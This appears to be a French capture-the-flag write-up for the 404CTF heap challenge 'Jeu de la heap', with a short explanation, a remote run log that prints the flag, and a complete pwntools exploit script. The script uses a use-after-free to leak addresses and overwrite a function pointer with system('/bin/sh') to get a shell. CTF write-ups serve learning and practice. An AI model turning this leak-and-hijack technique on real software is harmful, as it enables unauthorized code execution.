Challenge Jeu de la heap

https://ctf.404ctf.fr/challenges#Jeu%20de%20la%20Heap-8

Ce challenge est un jeu de la vie revisité.
En changeant les règles de vie et de mort, on peut corrompre la mémoire.
Le choix 4, imprévu, supprime les règles sans en rajouter de nouvelles.
Si on passe à la génération suivante, le programme réalloue le bloc libre dans la nouvelle grille.
L’affichage de la grille donne les leaks indispensables pour la suite.
Le pointeur de la grille et des règles étant le même, en modifiant la grille on modifie les règles.
Et dans ces règles, il y a un pointeur vers une fonction (print_rules).
On change donc pour system(), et on change l’argument du pointeur vers les règles pour /bin/sh.
Et on appelle l’affichage des règles pour exécuter system('/bin/sh').

$ ./exploit.py REMOTE
[+] Opening connection to spawn.404ctf.fr on port 10300: Done
[+] elf.address=0x5632fa7fe000
[+] libc.address=0x7ff234c0c000
[+] heap=0x56332454b000
[*] Switching to interactive mode
Linux localhost 5.15.0-177-generic #187-Ubuntu SMP Sat Apr 11 22:54:33 UTC 2026 x86_64 GNU/Linux
404CTF{c0Nw4y'5_GAm3_1S_4mA2InG_d4viD}
$
  • mandragore, 2026/05/19
#!/usr/bin/env python3

from pwn import *
import re
import sys
import os
#sys.tracebacklimit = 0  # yeah I know it crashed

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
#context.terminal = ['lxterminal','--geometry=100x100','-e']

elf = ELF('./chall_patched', checksec=False)
# elf = ELF('./chall', checksec=False)
libc = ELF('./libc.so.6', checksec=False)

if args.DBG:
    context.log_level = 'debug'
else:
    context.log_level = 'info'

if args.REMOTE:
    p = remote('spawn.404ctf.fr', 10300)
else:
    if args.GDB:
        p = gdb.debug(elf.path, gdbscript='''
            #break *print_rules
            break *main+0x31c
            continue
        ''')
    else:
        p = process(elf.path)

def parse(buff):
    leaks=[]
    for line in buff.split(b'\n'):
        if line[0:1]!=b'|':
            continue
        line=line.replace(b'|',b'')
        leak=int(line[::-1],2)
        leaks.append(leak)
    return leaks

p.recvuntil(b'Leave\n')

# set rules to template (dont pollute the chunk at nextgen)
p.sendline(b'3')
p.sendlineafter(b'Highlife\n',b'3')
p.recvuntil(b'Leave\n')

# delete rules, dont set new ones
p.sendline(b'3')
p.sendlineafter(b'Highlife\n',b'4')
p.recvuntil(b'Leave\n')

# new gen (reallocate freed chunk, UAF)
p.sendline(b'1')
leaks=p.recvuntil(b'Leave\n')
leaks=parse(leaks)
#for leak in leaks:
#    print(f'{leak=:#x}')
heap=leaks[0] << 12
elf.address=leaks[5]-elf.sym.print_rules
libc.address=leaks[6]-libc.sym.free
success(f'{elf.address=:#x}')
success(f'{libc.address=:#x}')
success(f'{heap=:#x}')

#newval1=libc.address+0xddf83 # one_gadget fails

# update g->print_rules
newval1=libc.sym.system
newval1=f'{newval1:064b}'[::-1]
oldval1=f'{leaks[5]:064b}'[::-1]
for i in range(len(newval1)):
    if (newval1[i]!=oldval1[i]):
        p.sendline(b'2')
        p.sendlineafter(b'column\n',b'%d,%d' % (5, i))
        p.recvuntil(b'Leave\n')

# update rules ptr to /bin/sh as system argument
newval2=u64(b'/bin/sh\0')
newval2=f'{newval2:064b}'[::-1]
oldval2=f'{leaks[0]:064b}'[::-1]
for i in range(len(newval2)):
    if (newval2[i]!=oldval2[i]):
        p.sendline(b'2')
        p.sendlineafter(b'column\n',b'%d,%d' % (0, i))
        p.recvuntil(b'Leave\n')

p.sendline(b'4')

p.sendline(b'uname -a;cat flag.txt;echo')
p.interactive()

This site uses Just the Docs, a documentation theme for Jekyll.